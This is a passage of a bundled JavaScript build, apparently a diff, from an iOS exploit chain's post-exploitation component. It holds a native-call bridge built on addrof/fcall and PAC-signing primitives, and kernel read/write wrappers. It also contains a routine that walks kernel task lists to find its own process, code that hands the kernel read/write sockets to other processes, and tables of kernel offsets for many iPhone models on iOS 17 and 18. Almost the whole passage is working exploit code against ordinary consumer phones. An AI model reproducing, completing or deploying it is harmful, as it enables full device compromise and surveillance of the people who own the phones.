objc/JSC bring-up inside configd (was effectively 10s) + return this.task.call(1000, "objc_msgSend", obj, sel, ...args); + } + + #callObjcRetain(obj, selName, ...args) { + const ret = this.#callObjc(obj, selName, ...args); + this.#callObjc(ret, "retain"); + return ret; + } + + #callObjcInBackground(obj, selName, ...args) { + const performSelectorInBackground = Native.callSymbol("sel_registerName", "performSelectorInBackground:withObject:"); + const sel = Native.callSymbol("sel_registerName", selName); + return this.task.call(1000, "objc_msgSend", obj, performSelectorInBackground, sel, ...args); + } + + #writeCFStr(dst, str) { + const kCFStringEncodingUTF8 = 0x08000100; + this.task.writeStr(dst, str); + return this.task.call(100, "CFStringCreateWithCString", 0, dst, kCFStringEncodingUTF8); + } + + #printClass(obj) { + const cl = this.#callObjc(obj, "class"); + const desc = this.#callObjc(cl, "description"); + const str = this.#callObjc(desc, "UTF8String"); + this.task.read(str, Native.mem, 32); + const classDesc = Native.readString(Native.mem); + console.log(TAG, "class: " + classDesc); + } +} + + +/***/ }), + +/***/ "./src/libs/Chain/Chain.js": +/*!*********************************!*\ + !*** ./src/libs/Chain/Chain.js ***! + \*********************************/ +/***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => { + +__webpack_require__.r(__webpack_exports__); +/* harmony export */ __webpack_require__.d(__webpack_exports__, { +/* harmony export */ "default": () => (/* binding */ Chain) +/* harmony export */ }); +/* harmony import */ var libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! libs/JSUtils/Utils */ "./src/libs/JSUtils/Utils.js"); + + +const TAG = "CHAIN" + +class Chain +{ + static #driver; + static #mutex; + + static init(driver, mutex=null) + { + this.#driver = driver; + this.#mutex = mutex; + } + + static destroy() + { + this.#driver.destroy(); + } + + static runPE() + { + return this.#driver.runPE(); + } + + static getKernelBase() + { + return this.#driver.getKernelBase(); + } + + static getSelfTaskAddr() + { + return this.#driver.getSelfTaskAddr(); + } + + static read(srcAddr, dst, len) + { + this.#mutexLock(); + let ret = this.#driver.read(srcAddr, dst, len); + this.#mutexUnlock(); + return ret; + } + + static write(dst, src, len) + { + this.#mutexLock(); + let ret = this.#driver.write(dst, src, len); + this.#mutexUnlock(); + return ret; + } + + static readBuff(srcAddr, len) + { + if (!this.read(srcAddr, Native.mem, len)) + return false; + return Native.read(Native.mem, len); + } + + static read8(src) + { + this.read(src, Native.mem, 1); + return Native.read8(Native.mem); + } + + static read16(src) + { + this.read(src, Native.mem, 2); + return Native.read16(Native.mem); + } + + static read32(src) + { + this.read(src, Native.mem, 4); + return Native.read32(Native.mem); + } + + static read64(src) + { + this.read(src, Native.mem, 8); + return Native.read64(Native.mem); + } + + static write8(dst, value) + { + Native.write8(Native.mem, value); + this.write(dst, Native.mem, 1); + } + + static write16(dst, value) + { + Native.write16(Native.mem, value); + this.write(dst, Native.mem, 2); + } + + static write32(dst, value) + { + Native.write32(Native.mem, value); + this.write(dst, Native.mem, 4); + } + + static write64(dst, value) + { + Native.write64(Native.mem, value); + this.write(dst, Native.mem, 8); + } + + static offsets() + { + return this.#driver.offsets(); + } + + static strip(val) + { + return this.#driver.strip(val); + } + + static writeZoneElement(dstAddr,src,len) + { + return this.#driver.writeZoneElement(dstAddr, src, len); + } + + static getPaciaGadget() + { + return this.#driver.getPaciaGadget(); + } + static getClearPaciaGadget() + { + return this.#driver.getClearPaciaGadget(); + } + + static transferRW() + { + let rwCtx = this.#driver.transferRW(); + let controlSocket = rwCtx.controlSocket; + let rwSocket = rwCtx.rwSocket; + console.log(TAG, "controlSocket: " + controlSocket); + console.log(TAG, "rwSocket: " + rwSocket); + + let portPtr = Native.mem; + Native.callSymbol("fileport_makeport", controlSocket, portPtr); + let controlPort = Native.read32(portPtr); + + Native.callSymbol("fileport_makeport", rwSocket, portPtr); + let rwPort = Native.read32(portPtr); + + return { + controlPort: controlPort, + rwPort: rwPort, + controlSocket: controlSocket, + rwSocket: rwSocket + }; + } + + static threadSpawn(scriptCFString, threadMem) { + this.#driver.threadSpawn(scriptCFString, threadMem); + } + + static testKRW() { + console.log(TAG, "Testing KRW"); + console.log(TAG, "- kernelBase: " + libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__["default"].hex(this.getKernelBase())); + console.log(TAG, "- PACIA gadget: " + libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__["default"].hex(this.getPaciaGadget())); + console.log(TAG, "- Read kernel magic (4 bytes)"); + + let buff = this.readBuff(this.getKernelBase(), 4); + if (!buff) { + console.log(TAG, "kernel RW not working!"); + return false; + } + let buff32 = new Uint32Array(buff); + console.log(TAG, `- Magic: ${libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__["default"].hex(buff32[0])}`); + + if (buff32[0] != 0xfeedfacf) { + console.log(TAG, "Invalid magic!"); + return false; + } + + return true; + } + + static #mutexLock() { + if (this.#mutex) + Native.callSymbol("pthread_mutex_lock", this.#mutex); + } + + static #mutexUnlock() { + if (this.#mutex) + Native.callSymbol("pthread_mutex_unlock", this.#mutex); + } +} + + +/***/ }), + +/***/ "./src/libs/Chain/Native.js": +/*!**********************************!*\ + !*** ./src/libs/Chain/Native.js ***! + \**********************************/ +/***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => { + +__webpack_require__.r(__webpack_exports__); +/* harmony export */ __webpack_require__.d(__webpack_exports__, { +/* harmony export */ "default": () => (/* binding */ Native) +/* harmony export */ }); +const RTLD_DEFAULT = 0xFFFFFFFFFFFFFFFEn; + +class Native { + + // Preallocated memory chunk for general purpose stuff for public use + static mem = 0n; + static memSize = 0x4000; + + // Preallocated memory chunk for encoding/decoding of string arguments + static #argMem = 0n; + + // Pointer to next available memory for native argument + static #argPtr = 0n; + + static { + this.mem = this.callSymbol("malloc", this.memSize); + this.#argMem = this.callSymbol("malloc", 0x1000n); + this.#argPtr = this.#argMem; + } + + static write(ptr, buff) { + let buffPtr = read64(read64(addrof(buff) + 0x10n) + 0x10n); + this.callSymbol("memcpy", ptr, buffPtr, buff.byteLength); + } + static write32(ptr, value) { + let buffWrite = new ArrayBuffer(4); + const view = new DataView(buffWrite); + view.setUint32(0, value, true); + this.write(ptr, buffWrite); + } + + static read(ptr, length) { + let buffRes = new ArrayBuffer(length); + let buffPtr = read64(read64(addrof(buffRes) + 0x10n) + 0x10n); + this.callSymbol("memcpy", buffPtr, ptr, length); + return buffRes; + } + + static read8(ptr) { + let buff = this.read(ptr, 1); + const view = new DataView(buff); + return view.getUint8(0); + } + + static read16(ptr) { + let buff = this.read(ptr, 2); + const view = new DataView(buff); + return view.getUint16(0, true); + } + + static read32(ptr) { + let buff = this.read(ptr, 4); + const view = new DataView(buff); + return view.getUint32(0, true); + } + + static read64(ptr) { + let buff = this.read(ptr, 8); + const view = new DataView(buff); + return view.getBigUint64(0, true); + } + + static readPtr(ptr) { + return this.read64(ptr); + } + + static readString(ptr, len=1024) { + let buff = this.read(ptr, len); + return this.bytesToString(buff, false); + } + + static write8(ptr, value) { + let buffWrite = new ArrayBuffer(1); + const view = new DataView(buffWrite); + view.setUint8(0, value); + this.write(ptr, buffWrite); + } + + static write16(ptr, value) { + let buffWrite = new ArrayBuffer(2); + const view = new DataView(buffWrite); + view.setUint16(0, value, true); + this.write(ptr, buffWrite); + } + + static write32(ptr, value) { + let buffWrite = new ArrayBuffer(4); + const view = new DataView(buffWrite); + view.setUint32(0, value, true); + this.write(ptr, buffWrite); + } + + static write64(ptr, value) { + let buffWrite = new ArrayBuffer(8); + const view = new DataView(buffWrite); + view.setBigUint64(0, value, true); + this.write(ptr, buffWrite); + } + + static writeString(ptr, str) { + //const buff = this.stringToBytes(str, true); + //this.write(ptr, buff); + this.callSymbol("memcpy", ptr, str, str.length + 1); + } + + static getCString(str) { + return get_cstring(str); + } + + static #prepareArg(arg) { + if(!arg) + arg = 0n; + if(typeof(arg) === "string") + return get_cstring(arg); + return BigInt(arg); + } + + static strip(address) { + return address & 0x7fffffffffn; + } + + static pacia(address, modifier) { + address = Native.strip(address); + //console.log(TAG,`address:${Utils.hex(address)}, modifier:${Utils.hex(modifier)}`); + let signedAddress = pacia(address, BigInt(modifier)); + //console.log(TAG,`signedAddress:${Utils.hex(signedAddress)}`); + return signedAddress; + } + + static dlsym(name) { + return Native.callSymbol("dlsym", RTLD_DEFAULT, name); + } + + static callSymbol(name, a0, a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15) { + let funcSymbol = null; + if(name === "dlysm") + funcSymbol = DLSYM; + else + funcSymbol = fcall(DLSYM,RTLD_DEFAULT,get_cstring(name)); + a0 = this.#prepareArg(a0); + a1 = this.#prepareArg(a1); + a2 = this.#prepareArg(a2); + a3 = this.#prepareArg(a3); + a4 = this.#prepareArg(a4); + a5 = this.#prepareArg(a5); + a6 = this.#prepareArg(a6); + a7 = this.#prepareArg(a7); + a8 = this.#prepareArg(a8); + a9 = this.#prepareArg(a9); + a10 = this.#prepareArg(a10); + a11 = this.#prepareArg(a11); + a12 = this.#prepareArg(a12); + a13 = this.#prepareArg(a13); + a14 = this.#prepareArg(a14); + a15 = this.#prepareArg(a15); + let chosen_fcall = null; + if(typeof fcall_with_pacia !== 'undefined') + chosen_fcall = fcall_with_pacia; + else + chosen_fcall = fcall; + const ret64 = chosen_fcall(funcSymbol, a0, a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15); + if (ret64 < 0xffffffffn && ret64 > -0xffffffffn) + return Number(ret64); + if (ret64 == 0xffffffffffffffffn) + return -1; + return ret64; + } + + static callSymbolRetain(name, a0, a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15) { + return Native.callSymbol(name,a0,a1,a2,a3,a4,a5,a6,a7,a8, a9, a10, a11, a12, a13, a14, a15); + } + + static bytesToString(bytes, includeNullChar=true) { + let bytes8 = new Uint8Array(bytes); + let str = ""; + for (let i=0; i>= 8n; + } + return a.buffer; + } + static gc() { + } +} + +// Register global Native class +globalThis.Native = Native; + + +/***/ }), + +/***/ "./src/libs/Chain/OffsetsStruct.js": +/*!*****************************************!*\ + !*** ./src/libs/Chain/OffsetsStruct.js ***! + \*****************************************/ +/***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => { + +__webpack_require__.r(__webpack_exports__); +/* harmony export */ __webpack_require__.d(__webpack_exports__, { +/* harmony export */ "default": () => (/* binding */ OffsetsStruct) +/* harmony export */ }); +const OFFSET_KERNEL_BASE = 0xfffffff007004000n +//const OFFSET_KERNEL_TASK = 0x925770n // iOS 17.5.1 - iPhone 13/13 pro max +//const OFFSET_KERNEL_TASK 0x91d318 // iOS 17.4.1 - iPhone 13 pro max +const OFFSET_KERNEL_TASK = 0x0n +const OFFSET_TASK_MAP = 0x28n +const OFFSET_TASK_NEXT = 0x30n +const OFFSET_TASK_PREV = 0x38n +const OFFSET_TASK_THREADS = 0x58n +const OFFSET_TASK_IPC_SPACE = 0x300n +const OFFSET_TASK_PROC_RO = 0x3a0n +const OFFSET_TASK_PROC_SIZE = 0x740n // iOS 17.5.1 +const OFFSET_TASK_EXC_GUARD = 0x5d4n + +const OFFSET_IPC_SPACE_TABLE = 0x20n +const OFFSET_IPC_ENTRY_OBJECT = 0x0n +const OFFSET_IPC_OBJECT_KOBJECT = 0x48n +const OFFSET_IPC_PORT_IP_NSREQUEST = 0x58n +const OFFSET_IPC_PORT_IP_SORIGHTS = 0x84n + +const OFFSET_PROC_PID = 0x60n +const OFFSET_PROC_P_COMM = 0x568n + +const OFFSET_THREAD_OPTIONS = 0x70n +const OFFSET_THREAD_KSTACKPTR = 0xf0n +const OFFSET_THREAD_ROP_PID = 0x160n +const OFFSET_THREAD_JOP_PID = 0x168n +const OFFSET_THREAD_GUARD_EXC_CODE = 0x330n +const OFFSET_THREAD_TASK_THREADS = 0x370n +const OFFSET_THREAD_TRO = 0x380n +const OFFSET_THREAD_AST = 0x3a4n +const OFFSET_THREAD_MUTEX_DATA = 0x3b0n +const OFFSET_THREAD_CTID = 0x430n + +const OFFSET_TRO_TASK = 0x20n + +const OFFSET_VM_HDR_RBH_ROOT = 0x38n +const OFFSET_VM_RBE_LEFT = 0x0n +const OFFSET_VM_RBE_RIGHT = 0x8n + +const OFFSET_VM_OBJECT_VOU_SIZE = 0x18n +const OFFSET_VM_OBJECT_REF_COUNT = 0x28n + +const OFFSET_VM_NAMED_ENTRY_COPY = 0x10n +const OFFSET_VM_NAMED_ENTRY_NEXT = 0x20n + +const OFFSET_MIG_LOCK = 0x0n; +const OFFSET_MIG_SBXMSG = 0x0n; +class OffsetsStruct +{ + constructor() { + this.baseKernel = OFFSET_KERNEL_BASE; + this.kernelTask = OFFSET_KERNEL_TASK; + this.T1SZ_BOOT = 17n; + + this.mapTask = OFFSET_TASK_MAP; + this.nextTask = OFFSET_TASK_NEXT; + this.prevTask = OFFSET_TASK_PREV; + this.threads = OFFSET_TASK_THREADS; + this.ipcSpace = OFFSET_TASK_IPC_SPACE; + this.procRO = OFFSET_TASK_PROC_RO; + this.procSize = OFFSET_TASK_PROC_SIZE; + this.excGuard = OFFSET_TASK_EXC_GUARD; + + this.spaceTable = OFFSET_IPC_SPACE_TABLE; + this.entryObject = OFFSET_IPC_ENTRY_OBJECT; + this.objectKObject = OFFSET_IPC_OBJECT_KOBJECT; + this.ipNsRequest = OFFSET_IPC_PORT_IP_NSREQUEST; + this.ipSorights = OFFSET_IPC_PORT_IP_SORIGHTS; + + this.pid = OFFSET_PROC_PID; + this.pComm = OFFSET_PROC_P_COMM; + + this.options = OFFSET_THREAD_OPTIONS; + this.kstackptr = OFFSET_THREAD_KSTACKPTR; + this.ropPid = OFFSET_THREAD_ROP_PID; + this.jopPid = OFFSET_THREAD_JOP_PID; + this.guardExcCode = OFFSET_THREAD_GUARD_EXC_CODE; + this.taskThreads = OFFSET_THREAD_TASK_THREADS; + this.tro = OFFSET_THREAD_TRO; + this.ast = OFFSET_THREAD_AST; + this.mutexData = OFFSET_THREAD_MUTEX_DATA; + this.ctid = OFFSET_THREAD_CTID; + + this.troTask = OFFSET_TRO_TASK; + + this.hdrRBHRoot = OFFSET_VM_HDR_RBH_ROOT; + this.rbeLeft = OFFSET_VM_RBE_LEFT; + this.rbeRight = OFFSET_VM_RBE_RIGHT; + + this.vouSize = OFFSET_VM_OBJECT_VOU_SIZE; + this.refCount = OFFSET_VM_OBJECT_REF_COUNT; + + this.backingCopy = OFFSET_VM_NAMED_ENTRY_COPY; + this.next = OFFSET_VM_NAMED_ENTRY_NEXT; + this.migLock = OFFSET_MIG_LOCK; + this.migSbxMsg = OFFSET_MIG_SBXMSG; + } +} + + +/***/ }), + +/***/ "./src/libs/Driver/Driver.js": +/*!***********************************!*\ + !*** ./src/libs/Driver/Driver.js ***! + \***********************************/ +/***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => { + +__webpack_require__.r(__webpack_exports__); +/* harmony export */ __webpack_require__.d(__webpack_exports__, { +/* harmony export */ "default": () => (/* binding */ DriverPostExpl) +/* harmony export */ }); +/* harmony import */ var _Offsets__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! ./Offsets */ "./src/libs/Driver/Offsets.js"); +/* harmony import */ var libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! libs/Chain/Native */ "./src/libs/Chain/Native.js"); +/* harmony import */ var libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! libs/JSUtils/Utils */ "./src/libs/JSUtils/Utils.js"); + + +const TAG = "DRIVER-POSTEXPL" + +class DriverPostExpl +{ + #offsets; + #kernelBase; + + constructor() { + this.#offsets = _Offsets__WEBPACK_IMPORTED_MODULE_0__["default"].getByDeviceAndVersion(); + } + + runPE() { + console.log(TAG, `runPE()`); + if (!this.#offsets) { + console.log(TAG, `Offsets were not obtained, aborting`); + return false; + } + /* + let baseKernel = startSandworm(); + if (baseKernel == -1) + return false; + */ + this.#kernelBase = mpd_kernel_base(); + + return true; + } + + getPaciaGadget() { + return mpd_pacia_gadget(); + } + + getKernelBase() { + return this.#kernelBase; + } + + getSelfTaskAddr() { + console.log(TAG, `getSelfTaskAddr`); + + let selfTaskKaddr = 0; + for (let i=0; i<5; i++) + { + selfTaskKaddr = this.#findSelfTaskKaddr(true); + if (!selfTaskKaddr) + { + console.log(TAG, `Searching the other way around`); + selfTaskKaddr = this.#findSelfTaskKaddr(false); + } + else + break; + libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].callSymbol("usleep",20000); + } + return selfTaskKaddr; + } + + #findSelfTaskKaddr(direction) { + let kernelTaskAddr = this.#kernelBase + this.#offsets.kernelTask; + console.log(TAG, `baseKernel: ${libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_2__["default"].hex(this.#kernelBase)}, kernelTask: ${libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_2__["default"].hex(kernelTaskAddr)}`); + + let kernelTaskVal = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].mem; + this.read(kernelTaskAddr, kernelTaskVal, libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_2__["default"].UINT64_SIZE); + kernelTaskVal = uread64(kernelTaskVal); + //console.log(TAG,`kernelTaskval:${kernelTaskVal}`); + kernelTaskVal = BigInt(kernelTaskVal); + //console.log(TAG,`kernelTaskval:${Utils.hex(kernelTaskVal)}`); + let ourPid = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].callSymbol("getpid"); + console.log(TAG, `Our pid:${ourPid}`); + let nextTask = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].mem + 0x100n; + if (direction) + this.read(kernelTaskVal + this.#offsets.nextTask, nextTask, libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_2__["default"].UINT64_SIZE); + else + this.read(kernelTaskVal + this.#offsets.prevTask, nextTask, libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_2__["default"].UINT64_SIZE); + nextTask = uread64(nextTask); + //console.log(TAG,`nextTask:${Utils.hex(nextTask)}`); + + while (nextTask != 0 && nextTask != kernelTaskVal) { + let procROAddr = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].mem; + this.read(nextTask + this.#offsets.procRO, procROAddr, libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_2__["default"].UINT64_SIZE); + procROAddr = uread64(procROAddr); + //console.log(TAG,`procROAddr:${Utils.hex(procROAddr)}`); + let procVal = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].mem; + this.read(procROAddr, procVal, 8); + procVal = BigInt(uread64(procVal)); + //console.log(TAG,`procVal:${Utils.hex(procVal)}`); + if (procVal && this.strip(procVal) > 0xffffffd000000000n) { + let pid = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].mem; + this.read(procVal + this.#offsets.pid, pid, libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_2__["default"].UINT64_SIZE); + let buffRes = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].read(pid, 4); + let view = new DataView(buffRes); + pid = view.getUint32(0,true); + //console.log(TAG,`pid:${Utils.hex(pid)}`); + if (pid == ourPid) { + console.log(TAG, `Found our pid`); + return nextTask; + } + let nextTaskLocation = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].mem; + if (direction) + this.read(nextTask + this.#offsets.nextTask, nextTaskLocation, libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_2__["default"].UINT64_SIZE); + else + this.read(nextTask + this.#offsets.prevTask, nextTaskLocation, libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_2__["default"].UINT64_SIZE); + nextTask = uread64(nextTaskLocation); + } + else + break; + } + return false; + } + + read(srcAddr, dst, len) { + srcAddr = this.strip(srcAddr); + if (srcAddr < 0xffffffd000000000n) { + console.log(TAG, `Invalid kaddr, cannot read: ${libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_2__["default"].hex(srcAddr)}`); + return false; + } + kread_length(srcAddr,dst, len); + return true; + } + + write(dst, src, len) { + let dstAddr = this.strip(dst); + if (dstAddr < 0xffffffd000000000n) { + console.log(TAG, `Invalid kaddr, cannot write:${libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_2__["default"].hex(dstAddr)}`); + return false; + } + kwrite_length(dst, src, len); + return true; + } + + writeZoneElement(dstAddr, src, len) { + return kwrite_zone_element(dstAddr, src, len); + } + + offsets() { + return this.#offsets; + } + + strip(val) { + return xpac(val); + } + + transferRW() { + return { + controlSocket: mpd_control_socket(), + rwSocket: mpd_rw_socket() + }; + } + + threadSpawn(scriptCFString, threadMem) { + mpd_js_thread_spawn(scriptCFString, threadMem, true); + } +} + + +/***/ }), + +/***/ "./src/libs/Driver/Offsets.js": +/*!************************************!*\ + !*** ./src/libs/Driver/Offsets.js ***! + \************************************/ +/***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => { + +__webpack_require__.r(__webpack_exports__); +/* harmony export */ __webpack_require__.d(__webpack_exports__, { +/* harmony export */ "default": () => (/* binding */ Offsets) +/* harmony export */ }); +/* harmony import */ var libs_Chain_OffsetsStruct__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! libs/Chain/OffsetsStruct */ "./src/libs/Chain/OffsetsStruct.js"); +/* harmony import */ var _OffsetsTable__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! ./OffsetsTable */ "./src/libs/Driver/OffsetsTable.js"); + + +const TAG = "OFFSETS" + +class Offsets +{ + static getByDeviceAndVersion() + { + Native.callSymbol("uname", Native.mem); + const sysname = Native.readString(Native.mem, 0x100); + const nodename = Native.readString(Native.mem + 0x100n, 0x100); + const release = Native.readString(Native.mem + 0x200n, 0x100); + const version = Native.readString(Native.mem + 0x300n, 0x100); + const machine = Native.readString(Native.mem + 0x400n, 0x100); + console.log(TAG, `release: ${release} with machine: ${machine}`); + + const buildVer = this.getBuildVersion(); + console.log(TAG, "Build version: " + buildVer); + + let splittedVersion = release.split("."); + let xnuMajor = splittedVersion[0]; + let xnuMinor = splittedVersion[1]; + + let splittedMachine = machine.split(","); + let deviceFamily = splittedMachine[0]; + let deviceModel = splittedMachine[1]; + + console.log(TAG, "deviceFamily: " + deviceFamily); + + // Ugly hack to support 17.7, 17.7.1 and 17.7.2 + if (buildVer) { + if (buildVer == "21H16") + xnuMinor = 6.1; + else if (buildVer == "21H216") + xnuMinor = 6.2; + else if (buildVer == "21H221") + xnuMinor = 6.3; + } + // Get offsets per device family + let deviceOffsets = _OffsetsTable__WEBPACK_IMPORTED_MODULE_1__.offsets[deviceFamily]; + if (!deviceOffsets) { + console.log(TAG, `Unsupported machine: ${machine}`); + return null; + } + + let familyOffsets = deviceOffsets["*"]; + let foundFamilyOffsets = this.#getOffsetsByVersion(familyOffsets, xnuMajor, xnuMinor); + + if (!foundFamilyOffsets) + return null; + + // Adjustments per device model + let modelOffsets = deviceOffsets[deviceModel]; + let foundModelOffsets = null; + if (modelOffsets) + foundModelOffsets = this.#getOffsetsByVersion(modelOffsets, xnuMajor, xnuMinor); + + // Merge family offsets and device offsets + let foundOffsets = new libs_Chain_OffsetsStruct__WEBPACK_IMPORTED_MODULE_0__["default"](); + Object.assign(foundOffsets, foundFamilyOffsets); + if (foundModelOffsets) + Object.assign(foundOffsets, foundModelOffsets); + + if (["iPhone15", "iPhone16", "iPhone17"].includes(deviceFamily)) + foundOffsets.T1SZ_BOOT = 17n; + else + foundOffsets.T1SZ_BOOT = 25n; + + console.log(TAG, "Offsets: " + JSON.stringify(foundOffsets, (_,v) => typeof v === 'bigint' ? "0x"+v.toString(16) : v, 2)); + + return foundOffsets; + } + + static #getOffsetsByVersion(offsets, xnuMajor, xnuMinor) { + let xnuMajorOffsets = 0; + for (let major in offsets) { + if (xnuMajor < major) + continue; + if (xnuMajorOffsets < major) + xnuMajorOffsets = major; + } + + if (!xnuMajorOffsets) { + console.log(TAG, "Unsupported XNU major: " + xnuMajor); + return null; + } + + //console.log(TAG, "Matching XNU major: " + xnuMajorOffsets); + xnuMajorOffsets = offsets[xnuMajorOffsets]; + + let foundOffsets = {}; + let xnuMinorOffsets = -1; + const sortedMinors = Object.keys(xnuMajorOffsets).sort(); + for (let minor of sortedMinors) { + //console.log(TAG, `minor: ${minor}, xnuMinor: ${xnuMinor}`); + if (minor > xnuMinor) + break; + if (xnuMinorOffsets < minor) { + xnuMinorOffsets = minor; + Object.assign(foundOffsets, xnuMajorOffsets[minor]); + } + } + + //console.log(TAG, "Matching XNU minor: " + xnuMinorOffsets); + + return foundOffsets; + } + static getBuildVersion() { + const CTL_KERN = 1; + const KERN_OSVERSION = 65; + + const mib = new ArrayBuffer(4 * 2); + const mibView = new DataView(mib); + mibView.setInt32(0, CTL_KERN, true); + mibView.setInt32(4, KERN_OSVERSION, true); + + const mibAddr = Native.mem; + const resultAddr = Native.mem + 0x100n; + const lengthAddr = Native.mem + 0x200n; + + Native.write(Native.mem, mib); + + let ret = Native.callSymbol("sysctl", mibAddr, 2, resultAddr, lengthAddr, null, 0); + if (ret != 0) { + console.log(TAG, "Unable to get iOS build version"); + return null; + } + + const length = Native.read32(lengthAddr); + const buildVer = Native.readString(resultAddr, length); + return buildVer; + } +} + + +/***/ }), + +/***/ "./src/libs/Driver/OffsetsTable.js": +/*!*****************************************!*\ + !*** ./src/libs/Driver/OffsetsTable.js ***! + \*****************************************/ +/***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => { + +__webpack_require__.r(__webpack_exports__); +/* harmony export */ __webpack_require__.d(__webpack_exports__, { +/* harmony export */ offsets: () => (/* binding */ offsets) +/* harmony export */ }); +const offsets = { + // iPhone XS + // iPhone XS Max + // iPhone XS Max Global + // iPhone XR + "iPhone11": { + "*": { + 23: { + 0: { + pComm: 0x568n, + excGuard: 0x5bcn, + kstackptr: 0xe8n, + ropPid: 0x150n, + jopPid: 0x158n, + guardExcCode: 0x308n, + taskThreads: 0x348n, + tro: 0x358n, + ast: 0x37cn, + mutexData: 0x380n, + ctid: 0x408n, + troTask: 0x20n + }, + 3: { + kernelTask: 0x918210n, + guardExcCode: 0x318n, + taskThreads: 0x358n, + tro: 0x368n, + ast: 0x38cn, + mutexData: 0x398n, + ctid: 0x418n + }, + 4: { + kernelTask: 0x91c638n, + pComm: 0x56cn, + troTask: 0x28n, + guardExcCode: 0x320n, + taskThreads: 0x360n, + tro: 0x370n, + ast: 0x394n, + mutexData: 0x3a0n, + ctid: 0x420n, + procRO: 0x388n + }, + 5: { + kernelTask: 0x920a90n + }, + 6: { + kernelTask: 0x9209f0n + }, + 6.1: { + kernelTask: 0x920a40n + } + }, + 24: { + 0: { + kernelTask: 0x9f1548n, + pComm: 0x56cn, + procRO: 0x3a0n, + ipcSpace: 0x318n, + troTask: 0x28n, + excGuard: 0x5dcn, + kstackptr: 0xf0n, + ropPid: 0x158n, + jopPid: 0x160n, + guardExcCode: 0x320n, + taskThreads: 0x370n, + tro: 0x378n, + ast: 0x39cn, + mutexData: 0x3a8n, + ctid: 0x428n + }, + 1: { + kernelTask: 0x9f1560n, + taskThreads: 0x368n, + tro: 0x370n, + ast: 0x394n, + mutexData: 0x3a0n, + ctid: 0x420n + }, + 2: { + kernelTask: 0x9fd988n, + }, + 3: { + kernelTask: 0x9f5988n + }, + 4: { + kernelTask: 0xa62b50n, + procRO: 0x3c0n, + excGuard: 0x5fcn, + taskThreads: 0x370n, + tro: 0x378n, + ast: 0x39cn, + mutexData: 0x3a8n, + ctid: 0x428n + }, + 5: { + kernelTask: 0xa6ac38n + }, + 6: { + kernelTask: 0xa6ad48n, + guardExcCode: 0x328n, + taskThreads: 0x378n, + tro: 0x380n, + ast: 0x3a4n, + mutexData: 0x3b0n, + ctid: 0x430n, + migLock: 0x36971f0n, + migSbxMsg: 0x3697210n, + migKernelStackLR: 0x2f7c1a0n, + } + } + }, + "8": { + 23: { + 4: { + kernelTask: 0x8fc638n + }, + 5: { + kernelTask: 0x900a90n + }, + 6: { + kernelTask: 0x9009f0n + }, + 6.1: { + kernelTask: 0x900a40n + } + }, + 24: { + 0: { + kernelTask: 0x9d1548n + }, + 1: { + kernelTask: 0x9d1560n, + }, + 2: { + kernelTask: 0x9d9988n + }, + 3: { + kernelTask: 0x9d1988n + }, + 4: { + kernelTask: 0xa42b50n + }, + 5: { + kernelTask: 0xad6b78n, + migLock: 0x38d74e8n, + migSbxMsg: 0x38d7508n, + migKernelStackLR: 0x31b19e4n + }, + 6: { + kernelTask: 0xa4ad48n, + migLock: 0x352e1f0n, + migSbxMsg: 0x352e210n, + migKernelStackLR: 0x2e5ba20n, + } + } + } + }, + + // iPhone 11 + // iPhone 11 Pro + // iPhone 11 Pro Max + // iPhone SE 2 + "iPhone12": { + "*": { + 23: { + 0: { + pComm: 0x568n, + excGuard: 0x5bcn, + kstackptr: 0xf0n, + ropPid: 0x158n, + jopPid: 0x160n, + guardExcCode: 0x328n, + taskThreads: 0x368n, + tro: 0x378n, + ast: 0x39cn, + mutexData: 0x3a8n, + ctid: 0x428n, + troTask: 0x20n + }, + 3: { + kernelTask: 0x96c178n, + }, + 4: { + kernelTask: 0x970588n, + pComm: 0x56cn, + troTask: 0x28n, + guardExcCode: 0x330n, + taskThreads: 0x370n, + tro: 0x380n, + ast: 0x3a4n, + mutexData: 0x3b0n, + ctid: 0x430n, + procRO: 0x388n + }, + 5: { + kernelTask: 0x9749d8n + }, + 6: { + kernelTask: 0x974938n + }, + 6.1: { + kernelTask: 0x974988n + } + }, + 24: { + 0: { + kernelTask: 0xa49488n, + pComm: 0x56cn, + procRO: 0x3a0n, + ipcSpace: 0x318n, + troTask: 